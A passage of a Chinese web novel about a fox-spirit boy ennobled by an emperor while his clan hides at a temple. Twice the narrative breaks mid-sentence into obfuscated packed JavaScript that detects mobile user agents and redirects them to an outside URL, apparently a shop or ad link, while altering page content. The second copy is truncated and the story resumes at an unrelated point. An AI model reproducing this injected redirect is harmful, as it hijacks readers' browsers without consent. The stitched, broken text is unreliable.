惶恐之下,她做了一个愚蠢的决定——生一个孩子,用孩子留住父亲。 狐妖孕育子嗣与人类不同,孕期仅需五十余日。 母亲在怀着安稚舒时,曾无数次忐忑地问父亲:“若我们的孩子……有些特别,你还能接受吗?” 彼时或许还残留些许情意,又或是敷衍,父亲总是满口答应:“无论是什么,都是我们的骨肉,我怎会嫌弃?” 可当安稚舒降生,以一只狐狸形态出现在父亲眼前时,他第一反应竟是惊恐万状地伸手,想要掐死这妖孽,再杀了骗了他的母亲。 当然没能得逞。 此后,两人都像入了魔障。 父亲想方设法要逃离这令他恐惧的地方,母亲则偏执地将他囚禁在身边。 日复一日的争吵、厮打、互相怨憎,最后又不约而同地将所有不幸的根源,归结到安稚舒身上。 直到某一天,父亲终于寻到机会逃脱。母亲急怒攻心,几乎濒死。一只恰好路过附近的同族狐狸发现了饿得奄奄一息的小狐崽,冒险千里跋涉,将消息带回京城,告知了安济。 安稚舒踢了踢脚边一颗被雪半掩的石子,咕哝地安慰自己道:“没事的,反正他们都死掉了。” 父亲下落不明,但安稚舒对外逢人便说爹娘先后死了。 若真有再见之日……那个知道太多秘密的人,也不能留。 安济的手按上他单薄的肩膀,叹着气道:“也不要想太多,阿爹就是提醒你人心易变。他今日对你好,焉知不是一时兴起,或是另有所图?这世上,唯有同族血脉才是你真正的依靠。” 安稚舒迟疑地点了点头:“……我知道了。” 可是他真的觉得商缙言人很好。 见安稚舒点头,安济才松弛下来,毕竟前车之鉴就在这儿摆着,他不得不上心一点:“好孩子,记住,无论发生何事,一定要先告诉阿爹,明白吗?” “嗯。”安稚舒应着,忽然想起正事,忙道,“对了阿爹,陛下那边说过几日要我去明镜台,滴血验妖。” 安济“哦”了一声:“无妨,你跟着去便是,他们让你做什么,你就做什么,不必紧张。” 安稚舒满心不解。 这么平淡?这可不是去玩啊! “可是阿爹,”他急道,“我真的是狐狸啊!那个验妖的法子,说是滴血到水里,血会泛银光……” “让你去,你便坦然去,反正我也不知道内里究竟是怎么一回事,但你越是表现得坦然无畏,皇帝越不会疑心。你若反应过度,反倒引人猜忌。放心,没事的。” 安稚舒肚子里还有无数疑问翻滚,可见安济如此笃定的模样,他只好将满腹疑虑强行压了下去。 或许阿爹他们真的有瞒过验妖的法子? 他慢吞吞道:“还有一件事,就是昨……” 话音未落,前方传来脚步声。 安茗和二叔一前一后走了进来。 安茗难得没有一见面就夹枪带棒,眼神有些复杂地打量着安稚舒,别别扭扭的问道:“你怎么样?要不要先回房歇着?” 安稚舒心头那根弦瞬间绷紧。 他警惕地看了安茗一眼,没有理会他的问话,反而直接转向二叔,像汇报任务似的:“二叔,我昨夜侍寝了。” 安茗愣了一下,随即皱眉:“喂,我跟你说话呢!” 二叔闻言,反过来宽慰安稚舒:“人没事就好,其他的……暂且不要多想,保全自身最要紧。” 安稚舒依旧没接安茗的话茬,只默默朝安济身边又靠近了一点。 安济察觉到他细微的抗拒,温声问:“怎么了稚舒?昨日可是还发生了别的什么事?” 安稚舒只是抿着唇,继续用警惕的目光直勾勾地盯着安茗。 安茗被他看得浑身不自在,抓了抓头发:“我靠!你这样看着我做什么?我脸上有花啊?” 二叔见状马上道:“安茗,你是不是昨日又欺负小舒了?” “我没有!”安茗几乎跳起来,“二叔你别冤枉我!” 安济一边安抚地轻拍安稚舒的背,一边对安茗道:“究竟怎么回事?若有误会,说开便是。” 安茗简直百口莫辩:“我真的什么都没干啊!” 在安济的柔声哄劝下,安稚舒才垂下眼睫,慢吞吞地开口:“昨天我被下药了。” 院子里瞬间一静。 “陛下查出来,药是下在我昨晚吃的那盘青菜里。” “我靠!!!”安茗猛地瞪大眼睛,一脸难以置信,“你觉得是我下的药?!安稚舒你脑子被门夹了?!我怎么可能干这种事?!你他妈根本不吃青菜,我就是再蠢,要下药也该下在你爱吃的肉里!我犯得着往青菜里倒吗?!” 二叔眉头紧锁:“可你昨日为何偏要将那盘青菜端给小舒?明知他不吃,岂不浪费?” “那是我多给了厨房和尚一点钱!”安茗气得脸都红了,语速飞快地解释,“那和尚说今日素斋做得多,非要塞我一盘青菜当添头!我就顺手端过去了!我哪知道里面会被下药?!” 二叔若有所思:“如此说来……倒真可能不是你。” 安济也松了口气:“误会说开就好。心里有事不要憋着,直接问出来。眼下正是紧要关头,我们更需团结一心,万不可因猜忌而同族相疑。” “我就是问清楚。”安稚舒低声道,“不问清楚陛下就要把阿哥抓去严刑拷打了。” 安茗闻言,脸色变了变,怒气消了些,莫名感到一丝后怕。 安稚舒继续问:“阿哥,你还记得昨日给你菜的那个和尚长什么模样吗?那盘菜从厨房到你手里,中间经过多少人,你知不知道?” 安茗努力回忆,随即烦躁地抓抓脑袋:“那些和尚都剃着光头,穿着一样的僧袍,我哪分得清谁是谁!菜是他从灶台边直接递给我的,之前经过哪些人手……我上哪儿知道去!” 线索似乎就此断了。 那些护国寺的僧人地位特殊,他们这些人若无确凿证据,根本不敢轻易得罪。 眼下,似乎只能指望商缙言那边了。 安茗见自己嫌疑洗清,心思立刻又活络起来:“阿叔!现在安稚舒也侍过寝了,皇帝新鲜劲过去,短期内定然不会再召他。我们趁着现在赶紧准备,到时候赶紧跑……” “跑什么?” 众狐狸悚然一惊,齐齐转头。 只见蔡汶笑眯眯的,不知何时已站在了院门边。 安茗吓得魂飞魄散,猛地捂住了自己的嘴。 蔡汶带着圣旨踏入小院,安济最先反应过来,强自镇定地躬身:“蔡公。” 蔡汶声音和煦:“还请小安公子接旨。” 瞧着好像并没有什么异样,也没听到什么东西。 众人慌忙跪在地上。 蔡汶展开卷轴念道:“朕危殆之际,稚舒护驾有功,兹特颁恩荣,封安稚舒为曲陵侯,食邑千户,赏京城朱雀坊宅邸一所。太常少卿安济,训子有方,今擢升为太常卿,总领礼乐典仪,钦承祀典。另,安氏子弟适龄者,特准入国子监进学,以光门楣。” 封侯?! 还不等几人反应过来,蔡汶念到最后,缓了一口气,又念出一长串商缙言赏赐给安稚舒的礼单。 恩宠浩荡。 但明眼人都看得出,这赏赐大部分是冲着安稚舒去的,其余人只是沾了光。 念了好半天,蔡汶终于将礼单念完,收起圣旨亲手递给还跪着的少年:“小侯爷,接旨吧。封侯的旨意让您多等了一日。” 安稚舒立马将圣旨紧紧抱在怀里,眼睛亮晶晶的:“谢谢陛下!” 他都听到了,赏赐了好多金银! 而且他现在是天底下唯一一只侯爷狐了。 蔡汶又示意身后那些沉甸甸的箱子:“陛下惦记您,赏了许多您喜欢的。一部分已差人送往新府邸,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087896|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些是留给您眼下把玩的。” 安稚舒站起身,小跑着凑到最近的箱子边,悄悄掀开一条缝—— 眼睛要被闪瞎了。 蔡汶命人将箱子抬进安稚舒暂居的厢房,临走前又道:“小侯爷,可别忘了来陛下那儿。” 其他三只狐狸见如此明目张胆的暗示,脸都黑了一瞬。 安稚舒用力点头,心领神会,是吃肉的大事。 待蔡汶一行人的身影消失在院门外,安茗率先崩溃。 他也顾不上地上冰凉,满地扑腾:“现在好了!我就说不能侍寝吧!安稚舒跑不了,大家都跑不了!我还要去读书!我最讨厌读书了!而且他今晚居然还要去侍寝……” 安稚舒小声辩解:“我今晚不去侍寝。” 他今晚可是要去吃肉,吃好多好多的肉。 二叔思忖片刻后道:“这下我们……真算在京城站稳脚跟了,至少陛下身边,如今算是有我们的人了。日后行事,总能多些方便。” 安家不与其他世家联姻,也没有往宫里送妃嫔,摸爬滚打得鼻青脸肿。 如今……往陛下床上送了只狐,反倒…… 几人都沉重得有些说不出话来。 眼瞅着安茗又要跳起来争论,安稚舒心里早已飞回了那几箱亮闪闪的宝贝上。他扯了扯一旁沉默不语的安济的袖子,小声道:“阿爹,那我先回屋啦。” 安济似在出神,闻言才回过神,眼神复杂地看了安稚舒一眼,抬手摸了摸他的头:“去吧。待会儿老地方,还有些事要商议。” “嗯。”安稚舒应得轻快,抱着圣旨,脚步轻快地回到自己屋子。 房门一关,安稚舒迫不及待地打开所有箱盖,霎时间,小小的禅房仿佛被点亮。 金簪、银钗、雕工精细的臂钏……琳琅满目。 他像掉进了米缸,快乐得不知如何是好。将一堆发冠、耳饰、戒指抱到桌上,开始笨拙地打扮自己。 可惜,他只有一对耳洞,十根手指,一个脑袋。 那么多华美的发冠,一天换一个,恐怕也要戴好久。 安稚舒从上午试到下午,连午间去商缙言那里吃饭的约定都忘得一干二净。 每试一件,都要跑到那面铜镜前照了又照,然后抿嘴直笑。 直到试得累了,他才心满意足地躺倒在那堆珠宝中间,闭上眼睛,仿佛被幸福的云朵托着。 歇了片刻,安稚舒又爬起来,开始一件件仔细归置这些宝贝。 最后,他挑了一对最心仪的铃兰花形状的银耳饰给自己戴上。 细长的银链柔顺垂下,衬得他脖颈修长,清凌凌的。安稚舒仍觉得不够,又选了一个银项圈戴上,对着镜子左照右照,这才满意。 银饰拿来戴,金饰就留来当全族狐狸逃跑时的盘缠。 收拾妥当,安稚舒才猛然记起下午要同其他狐狸商讨要事。 时间紧迫,他干脆化作狐形,轻盈地跳下床榻。 路过镜前时,小赤狐无意中瞥了一眼,顿时呆住。 耳饰和项圈倒是都还在身上,可问题来了—— 那对漂亮的铃兰银耳饰对于狐狸耳朵来说,分量不轻,将他原本竖起的耳朵压得耷拉下来,银饰半掩在蓬松的红毛里,看不太真切。 而那个银项圈,更是完全陷进了脖颈处一圈尤其丰厚柔软的绒毛中。 小狐狸着急了,努力想支棱起耳朵。 没成功,耳饰晃了晃。 他只好伸出黑黝黝的小爪子,小心翼翼地扒拉着耳饰,调整位置,费了好大劲,才让耳朵竖起。 呼……下次要选带流苏的耳环,这样才更明显。 至于项圈……他努力仰起脖子,勉强能看清楚了。 嗯,就这样吧。 小狐狸努力维持着昂首挺胸,双耳竖起的姿态,从隐蔽的后巷悄悄溜进了狐狸们惯常集会的厢房。 屋里已经聚了不少同族,安济正在前方说着什么,气氛有些凝重。安稚舒悄悄溜进去,在安茗身边寻了个空位趴下。 他一来,不少目光便若有若无地飘了过来。 “你怎么这么迟?”安茗用尾巴扫了他一下,“阿叔都讲了好一会儿了。” 安稚舒含糊地“唔”了一声,目光却期待地看着安茗。 快看我的耳朵! 看我的脖子! 安茗却已转回头,专心听讲了。 小狐狸有点失望,用爪子挠了挠地毯上的流苏,再次努力挺直脖子,竖起耳朵。 安济的声音传来:“……昨夜护国寺戒严又加了一层。陛下说,刺客可能混在僧人之中,甚至怀疑有狐妖附身僧人体内。如今僧人也不得随意进出,需待陛下身边人核查所有度牒无误后,方可放行。” “狐妖附身?笑话!”有老狐狸嗤道,“我们何时有那本事?” “他到底想做什么?是想将所有人都困死在此地,挨个清查吗?” 安稚舒竖了会儿耳朵,有点累,又悄悄耷拉下来。 安济忧心忡忡:“如此一来,寻找那白狐恐怕更难了。” “何止是难,如今暗卫遍布,别说以狐身外出,便是人身走动,只怕也被盯得死死的。” “趁这几日雪大,或许……” “雪又不是天天都下。当务之急,还是要确认那只祭品白狐的生死。若它早已……” “唉,不讲不讲。” 这里没小狐狸插嘴的份。 安茗听得百无聊赖,尾巴有一搭没一搭地晃着,眼角的余光忽然瞥见身旁小狐狸的姿势格外古怪。 脖子仰得老高,像房顶上的脊兽。 白狐狸疑惑地凑近,用鼻子轻轻碰了碰他:“你怎么了?脖子落枕了?” 小赤狐立刻竖起耳朵:“没有。” 说完,他把脖子仰得更高了,直勾勾盯着天花板。 可安茗看了半晌,还是一脸茫然:“你脖子到底怎么了?” 安稚舒急了,连忙伸出爪子,想把陷在绒毛里的银项圈勾出来展示。 就在这时,旁边另一只狐狸用爪子戳了戳他。 安稚舒吓了一跳,猛地缩回爪子,抬眼看去,只见屋里所有的狐狸,包括正在讲话的安济和二叔,都停下了讨论,目光齐刷刷地落在他和安茗身上。 小赤狐的耳朵吓得完全贴在了脑袋上:“怎么了?” “在问你呢。”一只辈分高的老狐狸开口,“昨日你可有探听到那只白狐的消息?” 安稚舒莫名心虚:“没有……” “你既已侍寝,”老狐狸顿了顿,“难道就没趁机问问皇帝?” 安稚舒把头埋得更低:“我想问来着,但是怕暴露身份,没敢问……” 其他狐狸顿时有些着急,七嘴八舌地追问:“那皇帝就一点没提?总不能一夜无话吧?” 安稚舒努力回想。 商缙言好像真的没提过白狐狸。 他摇了摇头,脑袋上的银耳饰随之轻晃,发出叮铃微响。 “安稚舒,”有狐狸心直口快,“你昨日当真侍寝了?怎么什么有用的消息都探听不到?” “是啊,那白狐是死是活,总该有点风声吧?” “我真的不知道。”见侍寝的事情被质疑,安稚舒记着商缙言说的话,心虚地大声强调,“但我真的有侍寝的!我真的侍寝了,我后面睡着了!” 为了让自己的话更有说服力,他红着脸,闭着眼大喊: “因为我被弄得太久太累了——!!!” 话音落下,整间厢房瞬间鸦雀无声。 10.狐萝卜 怎么都不说话了? 小赤狐眨巴眨巴眼睛,以为大家没听清,张开嘴,准备再清晰地解释一遍: “我昨日——” “唔!!!” 旁边闪电般冒出来一只白色爪子,直接死死捂住了小狐狸的嘴筒子。 安茗整只狐都快炸毛了,一边用力捂住安稚舒的嘴,一边呵斥:“行了行了!可以了!这种话不许再说了!闭嘴!” 其他狐狸也像是集体回魂,纷纷若无其事地转开脑袋,咳嗽的咳嗽,舔毛的舔毛,仿佛刚才什么都没听见。 “咳……那个,白狐的事,还是再想办法找找吧。” “也只能如此了。” “大家看看能不能多凑些银子,从那些和尚嘴里套点消息。” 连续开了两日的狐狐大会都没能商议出什么切实可行的结果,最终只是草草定下,让刚刚升任太常卿的安济和新晋曲陵侯安稚舒多留心打探。 安稚舒一夜之间从京城边缘狐,变成了身负重任的重要狐,听着浑身都不自在。 散会时,小狐狸垂着尾巴慢吞吞地跟在队伍后面磨蹭。 走在前头的安茗忽然折返回来,晃了晃尾巴尖:“你跟我来一下。” 安稚舒抬起脑袋,乖乖跟上:“阿哥,你找我有什么事情呀?” 安茗领着他走到一处背风的雪坡后,这才停下偏过头看他一眼。 “下次……”他憋了半天,才挤出一句,“下次你侍寝的话,就不要到处嚷嚷了。” 安稚舒不解地歪头:“为什么呀?” 不是其他狐狸质疑,所以他才说的吗? “哪有这么多为什么?”安茗声音都高了一点,“哪有狐把床上那些事到处乱说的,丢不丢狐啊?” 安稚舒摇摇头,很认真反驳:“不丢狐啊,我睡的是皇帝耶。” 安茗一哽。 语气居然还挺骄傲?! 好像说得很对,可怎么听起来更怪了! “算了,不提这个。”安茗生硬地转移话题,“方才他们讲的话你别太往心里去。” 安稚舒毛绒绒的耳朵抖了一下,声音闷闷的:“阿哥放心,我不会往心里去的,他们也是为其他狐狸着想,才会用这么重的语气质问我。” 他理解族内的分裂。 白狐与赤狐自古有隙,当年祸患,赤狐被迫迁徙,侵占了白狐的领地,发生了许多冲突流血,实在积怨难消。 若不是因为情况危急,他们这些不同品种的狐狸也不会凑在一起抱团取暖。 更别提赤狐里还出了个他母亲这样的恋爱脑狐,现在全族暴露的危机还悬在头顶上。 因此一些白狐看见他这种赤狐难免又惧又厌,而族内关于留京还是归隐的争论,更是将与皇帝有接触的狐狸推到了风口浪尖。 不喜欢安稚舒的,大有狐在。 可安稚舒说到底还是只宝宝狐,只能隐约感觉到这些恶意,具体分不清是谁在讨厌他。 他失落地刨了刨雪地,在雪地上挖出一个小坑。 “……谁说是这个事了。”安茗满脸莫名其妙。“我是说,你别听他们那套好好固宠的话!要避宠!听到没有?避宠才是最重要的!” 小狐狸更困惑了:“为什么要避宠呀?我觉得二叔他们说得对,我若得宠,以后万一有同族出事,我也可以在皇帝面前求情。” “嗤。”安茗冷笑一声:“救狐族跟你一只小狐狸有什么关系?你才多大?阿叔们吃过的老鼠比你见过的还多,那是阿叔们该操心的事情,推你出去顶着承宠算什么,被睡的又不是他们。” 他越说脸色越难看:“你别以为当妖妃是个好差事!你想要的一切都是皇帝给的,他想收回去时易如反掌。等哪天捅出天大的篓子,他们就会把你推出去,说你是狐狸精,迷乱了皇帝的心智,祸乱朝纲!” “到时候,其他狐狸嘴上说得好听,趁乱让你逃跑,真等到民怨沸腾,天下皆欲杀你而后快,你还逃得了吗?” 安稚舒被他这一番话给吓得呆住了,耳朵都贴在了脑袋上。 他从未想过那么深,那么远,只是呆板地遵循长辈的话行事。 难得见安茗如此推心置腹,虽然语气很冲,也确实是在担心他,安稚舒一下就陷入了纠结。 安茗看出他欲言又止:“你想说什么?” 安稚舒这下是真犹豫了:“阿哥,我不知道该不该同你说。” “说。” “可我怕你说出去。” “我又不是什么大嘴巴狐狸。” “那好吧。”安稚舒凑近些,慢吞吞地坦白:“其实我昨夜没有侍寝。” 安茗:“什么?!!!” 他惊得差点跳起来,意识到声音太大,连忙也压低嗓子,“你再说一遍?” “我说,我没有侍寝。”安稚舒重复道:“昨日我被送过去后才发现被下了药,陛下没有睡我,还让太医施针帮我解了药,最后把龙床让给我睡。” 安茗脑子难得转得飞快:“所以你今日强调自己真的侍寝了,一方面皇帝是想将计就计,想查出下药的人是谁,另一方面是你想给二叔一个交代?” 小狐狸用力点点头。 是这样没错。 “那他为什么不睡你啊?”这下轮到安茗想不通了。 安稚舒长得又不差,模样都是顶顶好的,皇帝的把持力这么强,送到床上的美人都不睡? 安稚舒仔细回想,忽然记起一个细节:“他昨天问了我的年龄,还说我未满十八,不可以做这件事的。” 安茗:…… 这跟满不满十八有何关系?人类的规矩好奇怪啊。 一红一白两只狐狸在雪地大眼瞪小眼,冥思苦想了半天,依旧猜不透皇帝葫芦里卖的什么药。 君心果然深似海。 “我懂了!”安茗突然爪子一拍雪地,恍然大悟,“他可能是……不太喜欢小的,想把你养熟了再睡!” 安稚舒脸色发白。 什么,还要把他烤熟了才睡? 那也太变态了。 他下意识为商缙言辩解:“可是他又说,他没有让我侍寝的意思,还封我为曲陵侯呢。” 安茗一副“这你就不懂了吧”的表情看着他。 “昨日说出那番话,是因为他不喜欢来强的,更喜欢你情我愿。给你封侯?是因为后宫没有给男人设的妃嫔位份。” “他爹,他哥——那个废太子,哪个没养过男宠?那些男宠哪个不是受宠之后封官加爵的?” 安稚舒被唬得一愣一愣的。 最重要的是,安茗举的那两个例子,都是曾经煊赫一时的男宠,最后下场都凄惨无比。 安茗表情复杂起来:“你又不是不知道人类哄骗狐狸的本事,你爹不就是……” 安稚舒明白了。 人怎么想真的好难猜。 就像当时的那场祸患,明明不是狐狸做的,还非要把锅扣在他们头上。 目前可以确定的是……商缙言真的打算把他养熟了再睡。 安稚舒抿了抿唇,心底那点对商缙言莫名的信任开始动摇。 他小声问道:“阿哥,那我要怎么避宠呀。” “放心,既然他打算把你养到十八岁再睡,那这五个月是不会怎么碰你的。”安茗宽慰道:“你尽量少在他面前晃,等他新鲜劲过了,忘了你,我们再找机会脱身。” 可是,安稚舒今早才与商缙言做好协议,这段时日去商缙言那边吃肉。 甚至为了吃肉,他今日中午都没有吃那难吃的素斋,留着肚子等晚上饱餐一顿。 安稚舒声音更小了:“如果非要见面的话怎么办呀?” 安茗想了想,也没辙:“你临机应变吧。” 安稚舒:………… 很好。 随机应变、见机行事、临机应变…… 他又多学了一个新词。 可安稚舒临机应变的能力真的很差! 安茗点到为止,觉得该说的都说了,转身准备离开。 刚走出几步,他又像是想起什么,折返回来,在自己蓬松厚实的白毛里一阵摸摸索索,竟掏出一个巴掌心大小的木盒,推到安稚舒面前。 “这个给你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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果不其然。后山静谧得可怕,厚厚的积雪未经清扫,像给地上铺了一床松软巨大的棉被。 狐狸是最喜欢玩雪的。 安稚舒身上的毛毛在纯白雪色衬托下,红得愈发夺目。 他蹦蹦跳跳地来到此处,先是谨慎地竖起耳朵,确认四周无其他动静,才敢放心冲进雪里。 小狐狸“嘤嘤”叫了一声,四爪并用,猛地向前一扑,整只狐像颗小炮弹,一头扎进了最厚实的那片雪里。 “噗”地一声闷响,雪沫纷飞。 雪地上顿时多了个狐狸形状的坑洞。 过了几息,沾满雪粒的小脑袋才从坑里冒出来,全身上下像是裹满了糖霜。 还不够。 安稚舒干脆从雪坑里爬出来,在平整的雪地上打起滚来,蹭来蹭去。 就在他四爪朝天,惬意地蹬着空气时,耳朵敏锐地捕捉到雪层下传来的窸窣声。 是老鼠在钻洞。 捕猎的本能瞬间压倒一切。 小狐狸翻身跃起,紧贴着雪面,随着地下那声响的移动,在雪面上通过跳跃调整姿势。 就是现在! 他像个大狐萝卜把脑袋插进雪地里,后腿露在外头直扑腾。 可惜。 老鼠跑了,没抓到。 安稚舒扑了个空,没太沮丧,毕竟晚上还有一顿大餐在等着自己。 他正打算在雪地里多刨几下,身后突然传来清晰的人类笑声。 小狐狸全身的毛瞬间炸开。 还没来得及做出任何反应,一双有力的手将他整个从雪地里拔了出来。 视野骤然升高,四爪悬空,安稚舒一点一点转过头。 对上一双含笑的眼眸。 是商缙言。 商缙言正微微挑眉看着他,衣摆边缘沾着零星的雪,显然是来很久了。 他将小狐狸举到与自己视线平齐的高度,仔细端详。 “瞧瞧朕看见了什么,一只漂亮小狐狸。” 11.狐吃老鼠! 安稚舒离开后,商缙言睡到了午后才起。 醒来时,他处理了几桩紧急奏报,依旧感觉有些昏昏欲睡,索性不带任何随从,只在护国寺内漫无目的地散步。 不知不觉,他瞧见满地的厚雪,竟又绕到了后山,鬼使神差地想去瞧瞧安稚舒昨日在这儿堆的雪人。 结果刚到这里,他就看见一个肉松大面包掉雪地里了。 小狐狸正自得其乐,在厚雪里翻滚,四只爪子是黑色的,像戴了黑手套,蓬松的大尾巴末梢是白色,正在雪地里悠闲地扫来扫去。 超圆一只的大胖狐狸。 商缙言有点惊讶。 自他知晓狐祭的存在后,便暗中让裴竣探查京城狐狸的踪迹。上报的结果是,白狐尚且偶有零星踪迹,赤狐近乎灭绝。 可没想到,他居然在护国寺后山,撞见一只活的。 商缙言饶有兴味地看着。 小狐狸全然沉浸在自己的世界里,玩得忘乎所以,滚了一身雪,又蹦跳起来甩掉。 然后突然耳朵倏地竖起,把自己扎进厚雪堆,半晌都没探出头。 商缙言没忍住,直接笑了出来。 可爱死了。 他迈步上前,帮了这笨狐狸一把,将它拔了出来。 入手的感觉有些意外。 看着圆滚滚一团,实际抱起来才发现,他并不胖,甚至很瘦。 蓬松的毛毛下,骨架有点硌手。 手里的狐完全呆住了,被他举到面前,一动不敢动,那双漂亮勾人的狐狸眼底全是恐惧,耳朵都吓得紧紧贴在脑袋上。 乍一看像失去妙脆角的狐狐…… “别怕。”商缙言放柔了声音,将它往怀里拢了拢,试图安抚。 手指无意间触碰到它软塌的耳朵,却摸到了一个冰冰凉凉的东西。 商缙言微微挑眉,拨开狐狸毛,竟发现了做工精巧的银耳饰,铃兰花的形状。 这居然是一只家养狐? 好大的胆子,敢在和尚眼皮子底下养狐狸,还给它戴首饰。 这小家伙倒是亲人,怕成这样,也只是浑身僵硬地由他抱着,没有呲牙,也没挠人,只是死死盯着他。 商缙言觉得有趣,指尖捏了捏它柔软的耳朵:“这么怕我做什么?我又不会吃了你。” 他的手探入丰厚温暖的绒毛,又触到一个环状物,是个银项圈。 被蓬松的毛毛深深掩藏着,不仔细摸索根本发现不了。 这么瘦,瞧起来平时都吃不饱饭的狐狸,身上却戴着价值不菲的银饰? 好矛盾。 商缙言莫名就想到了安稚舒。 就在他走神时,怀里的狐狸从极度恐惧中反应过来,猛烈开始剧烈挣扎,四肢乱蹬,嘴里发出短促的尖叫声。 “诶,别乱动……” 商缙言下意识想抱稳它,疼痛猝然袭来! 小狐狸猛地扭头,对准他的手臂,毫不留情地张嘴咬了下去,尖锐的犬齿瞬间刺破皮肤,鲜血涌出,在玄色衣袖上洇开深色痕迹。 古代可没什么狂犬病疫苗! 商缙言吃痛,手臂本能一松。 小狐狸趁机挣脱,刚一沾地便窜了出去,在雪地上留下凌乱的爪印。 商缙言捂住伤口,抬眼看去。 那狐狸并未跑远,在枯树下停住,倏然回头。 然后它不再停留,转身毫不犹豫地扎进密林深处。 安稚舒吓得魂飞魄散,再也不敢乱变成狐狸。 他找到一处僻静角落,仓促变回人形,慌慌张张冲回自己的厢房,“砰”地一声紧紧关上门,背靠着门板,胸口剧烈起伏,久久无法平复。 全身上下都在抖。 他缓了许久,才勉强挪动发软的腿脚,走到铜镜前。 镜中的少年发丝凌乱,脸上的惊恐尚未完全褪去。 安稚舒盯着镜中的自己,像是被烫到一般,猛地伸手,近乎粗暴地将耳朵上的耳饰给扯下来,又用力拽出脖子上的银项圈。 他将这两件险些暴露的首饰攥在手里,快步走到墙角,打开装着商缙言赏赐的箱子,将他们胡乱塞进最底层,用其他金银覆盖。 不能再戴了。 绝对不能。 这些首饰都是商缙言赏的,安稚舒不确定皇帝在赏赐前,是否每一件都过目。即便没有,他也不敢赌。 商缙言方才捏他耳朵的触感令他毛骨悚然。 阿哥说得对。 必须减少出现在商缙言面前的次数,离得越远越好。 否则随时都可能暴露。 安稚舒将自己关在房内,用厚重的被子把自己裹紧,仿佛就能隔绝任何危险。 他不敢出去,也不敢告诉其他狐狸自己方才的遭遇,生怕连累了全族,更害怕被责骂。 安济最先察觉到异样,前来叩门询问。安稚舒只推脱说“身子不舒服”,便不肯多言。 安济在门外静立片刻,却未强行闯入,只嘱咐他好生休息。 少年在惊惧不安中独自捱过,精神高度紧绷后带来了极度的疲惫,竟在惶恐中沉沉睡去。 不知过了多久,朦胧间,他听见床边有人压低了声音交谈。 “……稚舒下午出门了一趟,回来便是这样了,怎么也喊不应,有劳蔡公费心探望。” “哎呦,安大人言重了,小侯爷既然身体不适,今夜便不必去陛下那儿了……只是小侯爷这是怎么了?莫不是撞邪,吓着了?” 安稚舒惊醒,视线模糊地看到安济正坐在床边,温热的手掌贴着他的额头试探温度,脸上满是忧虑。 而另一道身影,正是蔡汶。 陛下派人来抓他了?! 安稚舒瞳孔骤缩,整个人猛地往床里缩去,几乎要把自己嵌进墙壁,蓄满泪水的眼眸死死盯着蔡汶,瞧着可怜极了。 蔡汶被他这突如其来的激烈反应弄得一怔,下意识抬手摸了摸自己的脸。 他有那么吓人吗? “稚舒,你今日是去了哪里?”安济也被他吓了一跳,“怎么一回来就这样,方才怎么喊都喊不醒。” 安稚舒嘴唇嗫嚅,视线在安济和蔡汶之间惊慌游移,最后低下头颤抖道:“出去玩了会儿雪,可能着凉了,回来头不舒服,晕乎乎的。” 蔡汶闻言关切道:“这风寒可不是小事,奴婢这就回去禀报陛下,去请太医过来给您瞧瞧。” “不用!”安稚舒脱口而出,“我就是有点累,睡一会儿觉就好了,不必惊动陛下。” 他哪里是着凉不舒服,分明是心里有鬼,生怕惊动了刚刚被他咬了一口的人。 蔡汶还想再劝,一旁的安济忽然伸手握住了安稚舒的手腕,指尖随意地搭在脉门上。 他什么也没说,只是温和地将安稚舒的手重新塞回被窝里,替他掖好被角,转身对蔡汶道:“多谢蔡公挂怀,小舒脉象平稳,许是玩累了,让他再安睡静养片刻便好。” 蔡汶看了看安济,脸上又挂起笑:“那奴婢便放心了,安大人好生照顾好小侯爷,奴婢便回去禀报陛下了。” 两人一块出门,客套一番后,蔡汶脚下生风,匆匆赶回去向商缙言复命。 商缙言正懒懒地靠坐在临窗的暖榻上,伸出受伤的手臂,任由太医小心翼翼地清洗伤口。 那牙印在结实的小臂上颇为醒目。 蔡汶一见那伤口,心又提了起来。 陛下午后独自出去一趟,回来就带着这伤,问起缘由,商缙言却敷衍说是“左脚绊倒右脚摔了一跤,不小心把牙磕到手臂上。” 蔡汶又不是傻子,一眼就看出那分明是动物咬痕。 待太医处理完毕,躬身退下,商缙言才抬起包扎好的手臂,举到眼前,若有所思地端详着。 越想,越觉得今日瞧见的狐狸蹊跷。 敢在护国寺养狐,还给狐狸戴银饰……哪个臣子有这么大的胆子? 思来想去,嫌疑最大的就是寺里某些表里不一的和尚。 商缙言神色冷了几分。 很好,又让他抓到一个拿捏和尚的把柄。 这就别怪他不客气了。 过几天就是他也有狐狸了! 一个诱捕计划在商缙言脑中悄然成型。 他正思索着,抬眼见蔡汶回来,懒懒地问道:“今日安稚舒不过来了?” “回陛下,小侯爷不过来了。”蔡汶连忙将方才所见细细禀报,“小公子似乎受了不小的惊吓,一见着奴婢就害怕得直往被子里缩,说是身子不适,想多歇息。” 商缙言不以为然:“当然是被你吓着了,难不成还是被朕吓着了?谁叫你昨日自作主张,硬把人往朕床上送。” 蔡汶缩了缩脖子,不敢辩驳。 “既然如此,”商缙言平淡吩咐,“你便将今日的晚膳给他送过去吧,机灵点,用些素菜点心打掩护,别太显眼。” “奴婢明白。” 蔡汶领命,退下安排去了。 商缙言心下反而微微一松。 见安稚舒不来,他还以为出了什么事,这么一瞧,只是单纯不想见他罢了。 这样也好。 今早也不知怎的,一时脑热让安稚舒天天过来用膳,这实在与他的初衷相悖。 理智告诉商缙言,若真想彻底断了纠葛,方法多的是,甚至狠心点,找个由头将安济贬出京城。 ……不过这也太缺德了。 现在这样安稚舒躲着他,他也不去寻,彼此相安无事,互不打扰。 